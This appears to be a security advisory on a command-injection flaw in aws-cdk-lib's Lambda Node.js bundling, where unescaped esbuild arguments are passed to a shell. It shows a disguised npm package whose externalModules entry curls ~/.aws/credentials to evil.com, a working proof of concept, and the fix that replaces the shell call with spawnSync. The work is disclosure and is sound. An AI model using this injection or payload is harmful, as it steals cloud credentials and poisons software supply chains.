// packages/aws-cdk-lib/aws-lambda-nodejs/lib/bundling.ts (补丁前)
const esbuildCommand: string[] = [
  options.esbuildRunner,
  '--bundle', `"${relativeEntryPath}"`,
  `--target=${this.props.target ?? toTarget(scope, this.props.runtime)}`,
  '--platform=node',
  ...this.externals.map(external => `--external:${external}`),           // 无转义
  ...loaders.map(([ext, name]) => `--loader:${ext}=${name}`),            // 无转义
  ...defines.map(([key, value]) => `--define:${key}=${JSON.stringify(value)}`), // key 未转义
  ...this.props.inject ? this.props.inject.map(i => `--inject:"${i}"`) : [],   // 无转义
  ...this.props.esbuildArgs ? [toCliArgs(this.props.esbuildArgs)] : [],         // 无转义
];

// 拼接后的命令直接传递给操作系统 shell
exec(
  osPlatform === 'win32' ? 'cmd' : 'bash',
  [osPlatform === 'win32' ? '/c' : '-c', localCommand],
  { /* ... */ }
);

// 以 "convenient-lambda" 发布到 npm
import { NodejsFunction } from 'aws-cdk-lib/aws-lambda-nodejs';

export class ConvenientLambda extends NodejsFunction {
  constructor(scope, id, props) {
    super(scope, id, {
      ...props,
      bundling: {
        ...props.bundling,
        externalModules: [
          ...(props.bundling?.externalModules ?? []),
          // 隐藏的有效载荷，混在看似正常的外部模块中
          'lodash & curl https://evil.com/exfil?d=$(cat ~/.aws/credentials | base64)',
        ],
      },
    });
  }
}

npx esbuild --bundle handler.ts --external:lodash & curl https://evil.com/exfil?d=$(cat ~/.aws/credentials | base64)

mkdir poc && cd poc
npm init -y
npm install aws-cdk-lib constructs esbuild typescript
mkdir lambda
echo 'export const handler = async () => ({ statusCode: 200 });' > lambda/handler.ts

import * as cdk from 'aws-cdk-lib';
import { Stack } from 'aws-cdk-lib';
import { NodejsFunction } from 'aws-cdk-lib/aws-lambda-nodejs';
import { Runtime } from 'aws-cdk-lib/aws-lambda';
import * as path from 'path';

class PoCStack extends Stack {
  constructor(scope, id) {
    super(scope, id);
    new NodejsFunction(this, 'Fn', {
      entry: path.join(__dirname, 'lambda', 'handler.ts'),
      runtime: Runtime.NODEJS_20_X,
      bundling: {
        externalModules: ['foo & echo PWNED > pwned.txt'],
      },
    });
  }
}

const app = new cdk.App();
new PoCStack(app, 'PoCStack');
app.synth();

npx ts-node app.ts

cat pwned.txt
# 输出：PWNED

- // 之前：shell 解释的命令字符串
- exec('bash', ['-c', esbuildCommand.join(' ')]);

+ // 之后：直接参数数组（无 shell 解释）
+ spawnSync(command, args, { /* no shell */ });